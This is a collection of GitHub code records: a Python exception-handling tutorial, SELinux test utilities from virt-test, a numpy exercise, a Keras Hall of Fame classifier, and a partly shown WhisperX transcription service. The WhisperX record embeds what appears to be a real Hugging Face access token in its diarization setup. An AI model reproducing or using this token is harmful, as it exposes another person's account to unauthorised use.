+{"seq_id":"10304496020","text":"\nwhile True:\n try:\n angka1 = int(input('masukkan angka pembilang : '))\n angka2 = int(input('Masukkan angka penyebut : '))\n hasil = angka1/angka2\n break\n except ValueError:\n print('Anda tidak menginputkan angka, silahkan ulangi !')\n except ZeroDivisionError:\n print('Angka tidak bisa dibagi dengan 0, silahkan ulangi !')\n except Exception as err:\n print(err)\n except KeyboardInterrupt:\n print('proses masih berjalan')\nprint('hasil pembagian adalah :',hasil)\n'''\n Type exception error :\n 1.IOError = error saat buka file\n 2.ImportError = package yg diimport tidak ditemukan\n 3.ValueError = contoh harus inputkan angka tetapi inputan string\n 4.Division By Zero = pembagi dengan angka 0\n 5.KeyboardInterupted = agar tdk menghentikan proses program yg masih berjalan\n 6.EOFError\n'''\n\n","repo_name":"luhurLalu/PythonBasic","sub_path":"MyPython/#28_TryAndException.py","file_name":"#28_TryAndException.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"30381846379","text":"\"\"\"\nselinux test utility functions.\n\"\"\"\n\nimport logging\nimport re\nimport os.path\nfrom autotest.client import utils\n\n\nclass SelinuxError(Exception):\n\n \"\"\"\n Error selinux utility functions.\n \"\"\"\n pass\n\n\nclass SeCmdError(SelinuxError):\n\n \"\"\"\n Error in executing cmd.\n \"\"\"\n\n def __init__(self, cmd, detail):\n SelinuxError.__init__(self)\n self.cmd = cmd\n self.detail = detail\n\n def __str__(self):\n return str(\"Execute command %s failed.\\n\"\n \"Detail: %s .\\n\" % (self.cmd, self.detail))\n\n\nclass SemanageError(SelinuxError):\n\n \"\"\"\n Error when semanage binary is not found\n \"\"\"\n\n def __str__(self):\n return (\"The semanage command is not available, \"\n \"please install policycoreutils \"\n \"or equivalent for your platform.\")\n\n\nclass RestoreconError(SelinuxError):\n\n def __str__(self):\n return (\"Output from the restorecon command\"\n \"does not match the expected format\")\n\nSTATUS_LIST = ['enforcing', 'permissive', 'disabled']\n\n\ndef get_status():\n \"\"\"\n Get the status of selinux.\n\n :return: string of status in STATUS_LIST.\n :raise SeCmdError: if execute 'getenforce' failed.\n :raise SelinuxError: if 'getenforce' command exit 0,\n but the output is not expected.\n \"\"\"\n cmd = 'getenforce'\n result = utils.run(cmd, ignore_status=True)\n if result.exit_status:\n raise SeCmdError(cmd, result.stderr)\n\n for status in STATUS_LIST:\n if result.stdout.lower().count(status):\n return status\n else:\n continue\n\n raise SelinuxError(\"result of 'getenforce' (%s)is not expected.\"\n % result.stdout)\n\n\ndef set_status(status):\n \"\"\"\n Set status of selinux.\n\n :param status: status want to set selinux.\n :raise SelinuxError: status is not supported.\n :raise SelinuxError: need to reboot host.\n :raise SeCmdError: execute setenforce failed.\n :raise SelinuxError: cmd setenforce exit normally,\n but status of selinux is not set to expected.\n \"\"\"\n if status not in STATUS_LIST:\n raise SelinuxError(\"Status %s is not accepted.\" % status)\n\n current_status = get_status()\n if status == current_status:\n return\n else:\n if current_status == \"disabled\" or status == \"disabled\":\n raise SelinuxError(\"Please modify /etc/selinux/config and \"\n \"reboot host to set selinux to %s.\" % status)\n else:\n cmd = \"setenforce %s\" % status\n result = utils.run(cmd, ignore_status=True)\n if result.exit_status:\n raise SeCmdError(cmd, result.stderr)\n else:\n current_status = get_status()\n if not status == current_status:\n raise SelinuxError(\"Status of selinux is set to %s,\"\n \"but not expected %s. \"\n % (current_status, status))\n else:\n pass\n\n logging.debug(\"Set status of selinux to %s success.\", status)\n\n\ndef is_disabled():\n \"\"\"\n Return True if the selinux is disabled.\n \"\"\"\n status = get_status()\n if status == \"disabled\":\n return True\n else:\n return False\n\n\ndef is_not_disabled():\n \"\"\"\n Return True if the selinux is not disabled.\n \"\"\"\n return not is_disabled()\n\n\ndef is_enforcing():\n \"\"\"\n Return true if the selinux is enforcing.\n \"\"\"\n return (get_status() == \"enforcing\")\n\n\ndef is_permissive():\n \"\"\"\n Return true if the selinux is permissive.\n \"\"\"\n return (get_status() == \"permissive\")\n\n\ndef get_context_from_str(context):\n \"\"\"\n Get the context in a context.\n\n :param context: SELinux context string\n :raise SelinuxError: if there is no context in context.\n \"\"\"\n context_pattern = (r\"[a-z,_]*_u:[a-z,_]*_r:[a-z,_]*_t\"\n # non-greedy/non-group match on optional MLS range\n r\"(?:\\:[s,\\-,0-9,:[c,\\,,0-9]*]*)?\")\n if re.search(context_pattern, context):\n context_list = re.findall(context_pattern, context)\n return context_list[0]\n\n raise SelinuxError(\"There is no context in %s.\" % context)\n\n\ndef get_type_from_context(context):\n \"\"\"\n Return just the type component of a full context string\n\n :param context: SELinux context string\n :return: Type component of SELinux context string\n \"\"\"\n # Raise exception if not a context string\n get_context_from_str(context)\n type_pattern = (r\"[a-z,_]*_u:[a-z,_]*_r:([a-z,_]*_t)\"\n r\"(?:\\:[s,\\-,0-9,:[c,\\,,0-9]*]*)?\")\n return re.search(type_pattern, context).group(1)\n\n\ndef get_context_of_file(filename):\n \"\"\"\n Get the context of file.\n\n :raise SeCmdError: if execute 'getfattr' failed.\n \"\"\"\n # More direct than scraping 'ls' output.\n cmd = \"getfattr --name security.selinux %s\" % filename\n result = utils.run(cmd, ignore_status=True)\n if result.exit_status:\n raise SeCmdError(cmd, result.stderr)\n\n output = result.stdout\n return get_context_from_str(output)\n\n\ndef set_context_of_file(filename, context):\n \"\"\"\n Set context of file.\n\n :raise SeCmdError: if failed to execute chcon.\n :raise SelinuxError: if command chcon execute\n normally, but the context of\n file is not setted to context.\n \"\"\"\n context = context.strip()\n # setfattr used for consistency with getfattr use above\n cmd = (\"setfattr --name security.selinux --value \\\"%s\\\" %s\"\n % (context, filename))\n result = utils.run(cmd, ignore_status=True)\n if result.exit_status:\n raise SeCmdError(cmd, result.stderr)\n\n context_result = get_context_of_file(filename)\n if not context == context_result:\n raise SelinuxError(\"Context of %s after chcon is %s, \"\n \"but not expected %s.\"\n % (filename, context_result, context))\n\n logging.debug(\"Set context of %s success.\", filename)\n\n\ndef get_context_of_process(pid):\n \"\"\"\n Get context of process.\n \"\"\"\n attr_filepath = \"/proc/%s/attr/current\" % pid\n\n attr_file = open(attr_filepath)\n\n output = attr_file.read()\n return get_context_from_str(output)\n\n# Force uniform handling if semanage not found (used in unittests)\n\n\ndef _no_semanage(cmdresult):\n if cmdresult.exit_status == 127:\n if cmdresult.stdout.lower().count('command not found'):\n raise SemanageError()\n\n\ndef get_defcon(local=False):\n \"\"\"\n Return list of dictionaries containing SELinux default file context types\n\n :param local: Only return locally modified default contexts\n :return: list of dictionaries of default context attributes\n \"\"\"\n if local:\n result = utils.run(\"semanage fcontext --list -C\", ignore_status=True)\n else:\n result = utils.run(\"semanage fcontext --list\", ignore_status=True)\n _no_semanage(result)\n if result.exit_status != 0:\n raise SeCmdError('semanage', result.stderr)\n result_list = result.stdout.strip().split('\\n')\n # Need to process top-down instead of bottom-up\n result_list.reverse()\n first_line = result_list.pop()\n # First column name has a space in it\n column_names = [name.strip().lower().replace(' ', '_')\n for name in first_line.split(' ')\n if len(name) > 0]\n # Shorten first column name\n column_names[0] = column_names[0].replace(\"selinux_\", \"\")\n fcontexts = []\n for line in result_list:\n if len(line) < 1: # skip blank lines\n continue\n column_data = [name.strip()\n for name in line.split(' ')\n if len(name) > 0]\n # Enumerating data raises exception if no column_names match\n fcontext = dict([(column_names[idx], data)\n for idx, data in enumerate(column_data)])\n # find/set functions only accept type, not full context string\n fcontext['context'] = get_type_from_context(fcontext['context'])\n fcontexts.append(fcontext)\n return fcontexts\n\n\ndef find_defcon_idx(defcon, pathname):\n \"\"\"\n Returns the index into defcon where pathname matches or None\n \"\"\"\n # Default context path regexes only work on canonical paths\n pathname = os.path.realpath(pathname)\n for default_context in defcon:\n if bool(re.search(default_context['fcontext'], pathname)):\n return defcon.index(default_context)\n return None\n\n\ndef find_defcon(defcon, pathname):\n \"\"\"\n Returns the context type of first match to pathname or None\n \"\"\"\n # Default context path regexes only work on canonical paths\n pathname = os.path.realpath(pathname)\n idx = find_defcon_idx(defcon, pathname)\n if idx is not None:\n return get_type_from_context(defcon[idx]['context'])\n else:\n return None\n\n\ndef find_pathregex(defcon, pathname):\n \"\"\"\n Returns the regular expression in defcon matching pathname\n \"\"\"\n # Default context path regexes only work on canonical paths\n pathname = os.path.realpath(pathname)\n idx = find_defcon_idx(defcon, pathname)\n if idx is not None:\n return defcon[idx]['fcontext']\n else:\n return None\n\n\ndef set_defcon(context_type, pathregex, context_range=None):\n \"\"\"\n Set the default context of a file/path in local SELinux policy\n\n :param context_type: The selinux context (only type is used)\n :param pathregex: Pathname regex e.g. r\"/foo/bar/baz(/.*)?\"\n :param context_range: MLS/MCS Security Range e.g. s0:c87,c520\n :raise SelinuxError: if semanage command not found\n :raise SeCmdError: if semanage exits non-zero\n \"\"\"\n cmd = \"semanage fcontext --add\"\n if context_type:\n cmd += ' -t %s' % context_type\n if context_range:\n cmd += ' -r %s' % context_range\n if pathregex:\n cmd += ' \"%s\"' % pathregex\n result = utils.run(cmd, ignore_status=True)\n _no_semanage(result)\n if result.exit_status != 0:\n raise SeCmdError(cmd, result.stderr)\n\n\ndef del_defcon(context_type, pathregex):\n \"\"\"\n Remove the default local SELinux policy type for a file/path\n\n :param context: The selinux context (only type is used)\n :pramm pathregex: Pathname regex e.g. r\"/foo/bar/baz(/.*)?\"\n :raise SelinuxError: if semanage command not found\n :raise SeCmdError: if semanage exits non-zero\n \"\"\"\n cmd = (\"semanage fcontext --delete -t %s '%s'\" % (context_type, pathregex))\n result = utils.run(cmd, ignore_status=True)\n _no_semanage(result)\n if result.exit_status != 0:\n raise SeCmdError(cmd, result.stderr)\n\n# Process pathname/dirdesc in uniform way for all defcon functions + unittests\n\n\ndef _run_restorecon(pathname, dirdesc, readonly=True, force=False):\n cmd = 'restorecon -v'\n if dirdesc:\n cmd += 'R'\n if readonly:\n cmd += 'n'\n if force:\n cmd += 'F'\n cmd += ' \"%s\"' % pathname\n # Always returns 0, even if contexts wrong\n return utils.run(cmd).stdout.strip()\n\n\ndef verify_defcon(pathname, dirdesc=False, readonly=True, forcedesc=False):\n \"\"\"\n Verify contexts of pathspec (and/or below, if dirdesc) match default\n\n :param pathname: Absolute path to file, directory, or symlink\n :param dirdesc: True to descend into sub-directories\n :param readonly: True to passive check and don't change any file labels\n :param forcedesc: True to force a replacement of the entire context\n :return: True if all components match default contexts\n :note: By default DOES NOT follow symlinks\n \"\"\"\n # Default context path regexes only work on canonical paths\n changes = _run_restorecon(pathname, dirdesc,\n readonly=readonly, force=forcedesc)\n if changes.count('restorecon reset'):\n return False\n else:\n return True\n\n\n# Provide uniform formatting for diff and apply functions\n\ndef _format_changes(changes):\n result = []\n if changes: # Empty string or None - return empty list\n # Could be many changes, need efficient line searching\n regex = re.compile('^restorecon reset (.+) context (.+)->(.+)')\n for change_line in changes.split('\\n'):\n mobj = regex.search(change_line)\n if mobj is None:\n raise RestoreconError()\n pathname = mobj.group(1)\n from_con = mobj.group(2)\n to_con = mobj.group(3)\n result.append((pathname, from_con, to_con))\n return result\n\n\ndef diff_defcon(pathname, dirdesc=False):\n \"\"\"\n Return a list of tuple(pathname, from, to) for current & default contexts\n\n :param pathname: Absolute path to file, directory, or symlink\n :param dirdesc: True to descend into sub-directories\n :return: List of tuple(pathname, from context, to context)\n \"\"\"\n return _format_changes(_run_restorecon(pathname, dirdesc))\n\n\ndef apply_defcon(pathname, dirdesc=False):\n \"\"\"\n Apply default contexts to pathname, possibly descending into sub-dirs also.\n\n :param pathname: Absolute path to file, directory, or symlink\n :param dirdesc: True to descend into sub-directories\n :return: List of changes applied tuple(pathname, from context, to context)\n \"\"\"\n return _format_changes(_run_restorecon(pathname, dirdesc, readonly=False))\n\n\ndef transmogrify_usr_local(pathregex):\n \"\"\"\n Replace usr/local/something with usr/(local/)?something\n \"\"\"\n # Whoa! don't mess with short path regex's\n if len(pathregex) < 3:\n return pathregex\n if pathregex.count('usr/local'):\n pathregex = pathregex.replace('usr/local/', r'usr/(local/)?')\n return pathregex\n\n\ndef transmogrify_sub_dirs(pathregex):\n \"\"\"\n Append '(/.*)?' regex to end of pathregex to optionally match all subdirs\n \"\"\"\n # Whoa! don't mess with short path regex's\n if len(pathregex) < 3:\n return pathregex\n # Doesn't work with path having trailing slash\n if pathregex.endswith('/'):\n pathregex = pathregex[0:-1]\n return pathregex + r'(/.*)?'\n","repo_name":"autotest/virt-test","sub_path":"virttest/utils_selinux.py","file_name":"utils_selinux.py","file_ext":"py","file_size_in_byte":14136,"program_lang":"python","lang":"en","doc_type":"code","stars":98,"dataset":"github-code","pt":"69"} +{"seq_id":"3684822970","text":"import numpy as n\r\na1 = n.array([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12])\r\na2 = a1.reshape(6, 2)\r\nprint(\"Reshaped array:\\n\",a2)\r\n\r\nx = n.arange(30)\r\narray = x.reshape(5, 6)\r\nprint(\"Sequence of integers from 0-30 with steps of 5\\n\",array)\r\n\r\na1 = n.array([[5, 6], [7, 8]])\r\nx = a1.flatten()\r\nprint(\"Flatten array\\n\",x)\r\narray = n.full((2, 2), 6.3)\r\nprint(\"Constant value array\\n\",array)\r\n","repo_name":"SreeragKU/Semeser-1-Python-Programming","sub_path":"CO3 and CO4/Exp15.py","file_name":"Exp15.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"1207715001","text":"from datetime import datetime\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.metrics import confusion_matrix, roc_curve, roc_auc_score, accuracy_score, recall_score\nfrom sklearn.utils import class_weight\nfrom sklearn.model_selection import KFold, StratifiedKFold, cross_val_score, cross_validate, learning_curve\nimport scikitplot as skplt\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras import Model\nfrom tensorflow.keras.metrics import Recall\nfrom tensorflow.keras.callbacks import CSVLogger, ModelCheckpoint, EarlyStopping\nfrom tensorflow.keras.models import Sequential, model_from_json\nfrom tensorflow.keras.layers import Dense\nfrom tensorflow.keras.utils import to_categorical\nfrom tensorflow.keras.wrappers.scikit_learn import KerasClassifier\nfrom keras_pandas.Automater import Automater\n\n\n### ------------------ Setting the table ------------------ ###\n\n### Hyper-parameters\nHP = {\n 'NAME': 'full',\n # 'INFO': 'weightedClass-7,3-layers-trying long run',\n 'INFO': 'single layer, 15 class weights',\n 'EPOCHS': 50,\n 'FOLDS': 10,\n 'BATCH_SIZE': 1,\n 'OPTIMIZER': 'adam',\n 'LOSS': 'binary_crossentropy',\n 'METRICS': ['accuracy', 'Recall'],\n # 'METRICS': 'accuracy',\n 'DATASET': 'raw'\n}\n\n### Adding the information to the log file\nwith open(\"../result/master_log.txt\", \"a\") as file:\n file.write(\"\\n\")\n file.write(\"\\n\")\n print(HP, file=file)\n\n\n### Setting up the CSVlogger and Tensorboard\ncsv_logger = CSVLogger('../result/master_log.txt', append=True, separator=';')\nlog_dir = \"../logs/scalars/\" + datetime.now().strftime(\"%Y%m%d-%H%M%S\")\ntensorboard_callback = keras.callbacks.TensorBoard(log_dir=log_dir)\n\n### Helper functions\ndef plot_roc_curve(fper, tper, name):\n plt.plot(fper, tper, color='orange', label='ROC')\n plt.plot([0, 1], [0, 1], color='darkblue', linestyle='--')\n plt.xlabel('False Positive Rate')\n plt.ylabel('True Positive Rate')\n plt.title('Receiver Operating Characteristic (ROC) Curve')\n plt.legend()\n file_name = '../result/ROC_curve_' + name + datetime.now().strftime(\"%Y%m%d-%H%M%S\") + '.png'\n plt.savefig(file_name)\n plt.show()\n\n\n### ---------------- Importing the data ---------------- ###\n\ntrain_df = pd.read_csv('../data/train_data_' + HP['NAME'] + '.csv', index_col=False)\ntest_df = pd.read_csv('../data/test_data_' + HP['NAME'] + '.csv', index_col=False)\ndata_type_dict = {'numerical': [ 'G_all', 'finalGame', 'OPS', 'Years_Played',\n 'Most Valuable Player', 'AS_games', 'Gold Glove',\n 'Rookie of the Year', 'World Series MVP', 'Silver Slugger'],\n 'categorical': ['HoF']}\n\n### Removing the answers for the input data\ntrain_X_raw = train_df.drop(columns=['HoF'])\ntrain_y_raw = train_df['HoF']\ntest_X_raw = test_df.drop(columns=['HoF'])\ntest_y_raw = test_df['HoF']\n\n### Converting pandas arrays to numpy arrays\ntrain_X = train_X_raw.to_numpy()\ntest_X = test_X_raw.to_numpy()\n\n### Creating the label data for the train and test sets\nencoder = LabelEncoder()\ntrain_y = encoder.fit_transform(train_y_raw)\ntest_y = encoder.fit_transform(test_y_raw)\n\n\n### ---------------- Creating and compiling the model ---------------- ###\n\n### Weighting the classes for bias datasets\n# class_weights = class_weight.compute_class_weight('balanced', np.unique(train_y), train_y)\nclass_weights = {0: 1.0, 1: 17.0}\n### Setting up saving of the model weights\nmodel_weights_name = HP['NAME'] + '_model.h5'\ncheckpointer = ModelCheckpoint(model_weights_name, monitor='val_loss', verbose=0)\nprint(\"class weights: \", class_weights)\nprint(\"value counts of Y in train_y: \", train_y.sum())\nprint(\"value counts of N in train_y: \", len(train_y) - train_y.sum())\n\n### Implementing Early Stopping\nstop = EarlyStopping(monitor='Recall', mode='max', verbose=1, patience='10')\n\n### Creating model\ndef create_model():\n model = Sequential([\n Dense(10, activation='relu', input_shape=(10,)),\n # Dense(7, activation='relu'),\n Dense(5, activation='relu'),\n # Dense(32, activation='relu'),\n # Dense(3, activation='relu'),\n Dense(1, activation='sigmoid'),\n ])\n\n model.compile(\n optimizer= HP['OPTIMIZER'],\n loss= HP['LOSS'],\n # metrics=['accuracy', metrics.])\n metrics=HP['METRICS'])\n return model\n\nkfold = StratifiedKFold(n_splits=HP['FOLDS'], shuffle=True)\ncv_accuracy = []\ncv_auroc = []\n# cv_confunsion_mat = np.empty(0)\ncv_confusion_mat = []\n\nfor train_index, val_index in kfold.split(train_X, train_y):\n model = KerasClassifier(build_fn=create_model, epochs=HP['EPOCHS'],\n batch_size=HP['BATCH_SIZE'], verbose = 2)\n model.fit(train_X[train_index], train_y[train_index],\n callbacks=[csv_logger, tensorboard_callback])\n pred = model.predict(train_X[val_index])\n fold_accuracy = accuracy_score(train_y[val_index], pred)\n tn, fp, fn, tp = confusion_matrix(train_y[val_index], pred).ravel()\n confusion_mat_fold = [tn, fp, fn, tp]\n fold_auroc = roc_auc_score(train_y[val_index], pred)\n cv_auroc.append(fold_auroc)\n cv_accuracy.append(fold_accuracy)\n cv_confusion_mat.append(confusion_mat_fold)\n # cv_confunsion_mat = cv_confunsion_mat.append(confusion_mat_fold)\n # cv_confunsion_mat = np.vstack([cv_confunsion_mat, confusion_mat_fold])\n print(\"## -- Fold Results -- ##\")\n print(\"accuracy: \", fold_accuracy)\n print(\"auroc: \", fold_auroc)\n print(\"confusion_mat: \", confusion_mat_fold)\n\n# Calculating overall metrics\ntot_accuracy = np.mean(cv_accuracy)\ntot_auroc = np.mean(cv_auroc)\nprint(\"cv_confusion_mat_prestack: \", cv_confusion_mat)\ncv_confusion_mat = np.stack(cv_confusion_mat, axis=0)\nprint(\"cv_confusion_mat: \", cv_confusion_mat)\ntot_confusion_mat = np.mean(cv_confusion_mat, axis=0)\nprint(\"tot_confusion_mat: \", tot_confusion_mat)\nconfusion_label = [\"tn\", \"fp\", \"fn\", \"tp\"]\n# Extracting for readability\ntn = tot_confusion_mat[0]\nfp = tot_confusion_mat[1]\nfn = tot_confusion_mat[2]\ntp = tot_confusion_mat[3]\nprecision = tp/(tp+fp)\nrecall = tp/(tp+fn)\nf1 = (2*precision*recall)/(precision+recall)\n\n# Showing results\nfor i in range(0,len(tot_confusion_mat)):\n print(confusion_label[i], ': ', tot_confusion_mat[i])\nprint(\"###### ---------Overall Results --------- ######\")\nprint(\"accuracy: \", tot_accuracy)\nprint(\"auroc: \", tot_auroc)\nprint(\"confusion_mat: \", tot_confusion_mat)\nprint(\"precision: \", precision)\nprint(\"recall: \", recall)\nprint(\"f1: \", f1)\n\n### Saving Metrics in the log file\nmetric_dict = {\n 'True Negative': tn,\n 'True Positive': tp,\n 'False Negative': fn,\n 'False Positive': fp,\n 'AUROC': tot_auroc,\n 'Accuracy': tot_accuracy,\n 'Precision': precision,\n 'Recall': recall,\n 'F1': f1\n}\nwith open(\"../result/master_log.txt\", \"a\") as file:\n print(metric_dict, file=file)\n\n# results = cross_validate(classifier, train_X, train_y, cv=kfold, verbose=2,\n# fit_params={'callbacks': [csv_logger, checkpointer, tensorboard_callback],\n# 'class_weight': class_weights\n# },\n# return_train_score=True, return_estimator=True)\n\n# print(\"Baseline - mean: \", results['test_score'].mean(), \" std: \", results['test_score'].std())\n# print(\"printing results: \", results)\n# model_tuple = results['estimator']\n# print(\"model_tuple: \", model_tuple)\n# model = results['estimator'][len(model_tuple)-1]\n# print(\"model: \", model)\n\n\n### ---------------- Saving the model ---------------- ###\n\n# ### Saving Entire Model or Loading \n# # serialize model to JSON\n# model_json = model.to_json()\n# # model_name = \"model_\"+ datetime.now().strftime(\"%Y%m%d-%H%M\") + \".json\"\n# model_name = \"model_\" + \"build1\" +\".json\"\n# with open(model_name, \"w\") as json_file:\n# json_file.write(model_json)\n# # serialize weights to HDF5\n# # weights_name = \"model_\"+datetime.now().strftime(\"%Y%m%d-%H%M\")+\".h5\"\n# weights_name = \"model_\" + \"1\" +\".h5\"\n# model.model.save_weights(weights_name)\n# print(\"Saved model to disk\")\n\n# # ### Loading weights\n# # # load json and create model\n# # json_file = open('model_1.json', 'r')\n# # loaded_model_json = json_file.read()\n# # json_file.close()\n# # model = model_from_json(loaded_model_json)\n# # # load weights into new model\n# # model.load_weights(\"model_1.h5\")\n# # model.compile(optimizer= HP['OPTIMIZER'], loss= HP['LOSS'], metrics=[HP['METRICS']])\n# # print(\"Loaded model from disk\")\n\n\n# ### ---------------- Evaluating the model ---------------- ###\n\n# # Testing the model\n# # evaluation = model.evaluate(test_X, test_y, verbose = 2)\n# # full_predictions = model.predict_classes(test_X)\n# evaluation = model.score(test_X, test_y, verbose = 2)\n# full_predictions = model.predict(test_X)\n# # y_score = np.ravel(model.predict_proba(test_X))\n# y_score = model.predict_proba(test_X)\n# print(\"length of test_y: \", len(test_y))\n# print(\"length of score_y: \", len(y_score))\n\n# ### ---------------- Examining metrics ---------------- ###\n\n# tn, fp, fn, tp = confusion_matrix(test_y, full_predictions).ravel()\n# confusion_metrics = [tn, fp, fn, tp]\n# confusion_label = [\"tn\", \"fp\", \"fn\", \"tp\"]\n# for i in range(0,len(confusion_metrics)):\n# print(confusion_label[i], ': ', confusion_metrics[i])\n\n# print(\"y_score: \", y_score)\n# # print(\"y_score[:,0]: \", y_score[:,1])\n# # fper, tper, thresholds = roc_curve(test_y, y_score)\n# fper, tper, thresholds = roc_curve(test_y, y_score[:,1])\n# print(\"length of fper: \" , len(fper))\n# print(\"length of tper: \" , len(tper))\n# print(\"contents of fper: \" , fper)\n# print(\"contents of tper: \" , tper)\n# auroc = roc_auc_score(test_y, full_predictions)\n# print(\"auroc: \", auroc)\n# plot_roc_curve(fper, tper, HP['NAME'])\n# # small_predictions = model.predict(test_X[94:104])\n# # print(np.argmax(small_predictions, axis=1)) # [7, 2, 1, 0, 4]\n\n\n\n# ### ---------------- Plotting the data ---------------- ###\n\n# # Generating a confusion matrix\n# skplt.metrics.plot_confusion_matrix(test_y, full_predictions, normalize=True)\n# confusion_mat_string = \"../result/confusion_mat_\" + HP['NAME']+ datetime.now().strftime(\"%Y%m%d-%H%M%S\") + \".png\"\n# plt.savefig(confusion_mat_string)\n# plt.show()\n\n# # Generating precision-recall curve\n# model_probas=model.predict_proba(test_X, batch_size=HP['BATCH_SIZE'])\n# skplt.metrics.plot_precision_recall(test_y, model_probas)\n# precision_recall_curve_string = \"../result/precision_recall_curve_\" + HP['NAME'] + datetime.now().strftime(\"%Y%m%d-%H%M%S\") + \".png\"\n# plt.savefig(precision_recall_curve_string)\n# # train_sizes, train_scores, valid_scores = learning_curve(model, train_X, train_y,\n# # train_sizes=[50, 80, 110],\n# # cv=HP['EPOCHS'])\n# plt.show()\n\n# # results['test_score'].mean()\n# ## Plotting Validation\n# # Create range of values for parameter\n# # Calculate mean and standard deviation for training set scores\n# # train_mean = np.mean(train_scores, axis=1)\n# # train_std = np.std(train_scores, axis=1)\n# # # train_mean = results['train_score'].mean()\n# # # train_std = results['train_score'].std()\n# # # Calculate mean and standard deviation for test set scores\n# # # test_mean = results['test_score'].mean()\n# # # test_std = results['test_score'].std()\n# # test_mean = np.mean(valid_scores, axis=1)\n# # test_std = np.std(valid_scores, axis=1)\n\n# # # Plot mean accuracy scores for training and test sets\n# # plt.plot(train_sizes, train_mean, label=\"Training score\", color=\"black\")\n# # plt.plot(train_sizes, test_mean, label=\"Cross-validation score\", color=\"dimgrey\")\n\n# # # Plot accurancy bands for training and test sets\n# # plt.fill_between(train_sizes, train_mean - train_std, train_mean + train_std, color=\"gray\")\n# # plt.fill_between(train_sizes, test_mean - test_std, test_mean + test_std, color=\"gainsboro\")\n\n# # # Create plot\n# # plt.title(\"Validation Curve\")\n# # plt.xlabel(\"Number Of Trees\")\n# # plt.ylabel(\"Accuracy Score\")\n# # plt.tight_layout()\n# # plt.legend(loc=\"best\")\n# # plt.show()\n\n# # # plt.plot(model.history['acc'])\n# # # plt.plot(model.history['val_acc'])\n# # # plt.title('model accuracy')\n# # # plt.ylabel('accuracy')\n# # # plt.xlabel('epoch')\n# # # plt.legend(['train', 'val'], loc='upper left')\n# # # plt.show()\n","repo_name":"olavpe/machine-learning-MLB-HoF","sub_path":"model/hof_model_pure_builder.py","file_name":"hof_model_pure_builder.py","file_ext":"py","file_size_in_byte":12407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"21126764142","text":"import sieve\nfrom typing import List\nfrom pydantic import BaseModel\nimport os\n\nfile_dir = os.path.dirname(os.path.realpath(__file__))\n\nmetadata = sieve.Metadata(\n description=\"WhisperX: Automatic Speech Recognition with Word-level Timestamps (& Diarization)\",\n code_url=\"https://github.com/sieve-community/examples/tree/main/audio_transcription/whisperx\",\n image=sieve.Image(\n url=\"https://github.com/m-bain/whisperX/raw/main/figures/pipeline.png\"\n ),\n tags=[\"Audio\", \"Speech\", \"Transcription\"],\n readme=open(os.path.join(file_dir, \"WHISPERX_README.md\"), \"r\").read(),\n)\n\n\nclass Word(BaseModel):\n start: float\n end: float\n score: float\n word: str\n\n\nclass Segment(BaseModel):\n start: float\n end: float\n text: str\n words: List[Word]\n\n\n@sieve.Model(\n name=\"whisperx\",\n gpu=\"l4\",\n python_packages=[\n \"torch==2.0\",\n \"torchaudio==2.0.0\",\n \"git+https://github.com/m-bain/whisperx.git@e9c507ce5dea0f93318746411c03fed0926b70be\",\n \"onnxruntime-gpu==1.16.0\"\n ],\n cuda_version=\"11.8\",\n system_packages=[\"libgl1-mesa-glx\", \"libglib2.0-0\", \"ffmpeg\"],\n python_version=\"3.8\",\n run_commands=[\n \"pip install pyannote-audio==3.0.1\",\n \"pip uninstall onnxruntime -y\",\n \"pip install --force-reinstall onnxruntime-gpu==1.16.0\",\n \"mkdir -p /root/.cache/models/\",\n \"wget -c 'https://whisperx.s3.eu-west-2.amazonaws.com/model_weights/segmentation/0b5b3216d60a2d32fc086b47ea8c67589aaeb26b7e07fcbe620d6d0b83e209ea/pytorch_model.bin' -P /root/.cache/models/\",\n 'python -c \\'from faster_whisper.utils import download_model; download_model(\"large-v3\", cache_dir=\"/root/.cache/models/\")\\'',\n \"mkdir -p /root/.cache/torch/\",\n \"mkdir -p /root/.cache/torch/hub/\",\n \"mkdir -p /root/.cache/torch/hub/checkpoints/\",\n \"wget -c 'https://download.pytorch.org/torchaudio/models/wav2vec2_fairseq_base_ls960_asr_ls960.pth' -P /root/.cache/torch/hub/checkpoints/\",\n \"pip install ffmpeg-python\",\n ],\n metadata=metadata,\n)\nclass Whisper:\n def __setup__(self):\n import os\n import time\n\n start_time = time.time()\n import numpy as np\n import whisperx\n from whisperx.audio import load_audio\n from whisperx.asr import load_model\n\n self.model = load_model(\n \"large-v3\",\n \"cuda\",\n # language=\"en\",\n asr_options={\n \"initial_prompt\": os.getenv(\"initial_prompt\"),\n },\n vad_options={\"model_fp\": \"/root/.cache/models/pytorch_model.bin\"},\n compute_type=\"int8\",\n download_root=\"/root/.cache/models/\",\n )\n\n self.model_medium = load_model(\n \"medium\",\n \"cuda\",\n # language=\"en\",\n asr_options={\n \"initial_prompt\": os.getenv(\"initial_prompt\"),\n },\n vad_options={\"model_fp\": \"/root/.cache/models/pytorch_model.bin\"},\n compute_type=\"int8\"\n )\n # Pass in a dummy audio to warm up the model\n audio_np = np.zeros((32000 * 30), dtype=np.float32)\n self.model.transcribe(audio_np, batch_size=4)\n\n self.model_a, self.metadata = whisperx.load_align_model(\n language_code=\"en\", device=\"cuda\"\n )\n\n from pyannote.audio import Pipeline\n import torch\n self.diarize_model = Pipeline.from_pretrained(\n \"pyannote/speaker-diarization-3.0\",\n use_auth_token=\"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\").to(torch.device(\"cuda\"))\n\n self.setup_time = time.time() - start_time\n self.first_time = True\n\n def load_audio(self, fp: str, start=None, end=None, sr: int = 16000):\n import ffmpeg\n import numpy as np\n import time\n\n try:\n start_time = time.time()\n if start is None and end is None:\n out, _ = (\n ffmpeg.input(fp, threads=0)\n .output(\"-\", format=\"s16le\", acodec=\"pcm_s16le\", ac=1, ar=sr)\n .run(\n cmd=[\"ffmpeg\", \"-nostdin\"],\n capture_stdout=True,\n capture_stderr=True,\n )\n )\n else:\n out, _ = (\n ffmpeg.input(fp, threads=0)\n .filter(\"atrim\", start=start, 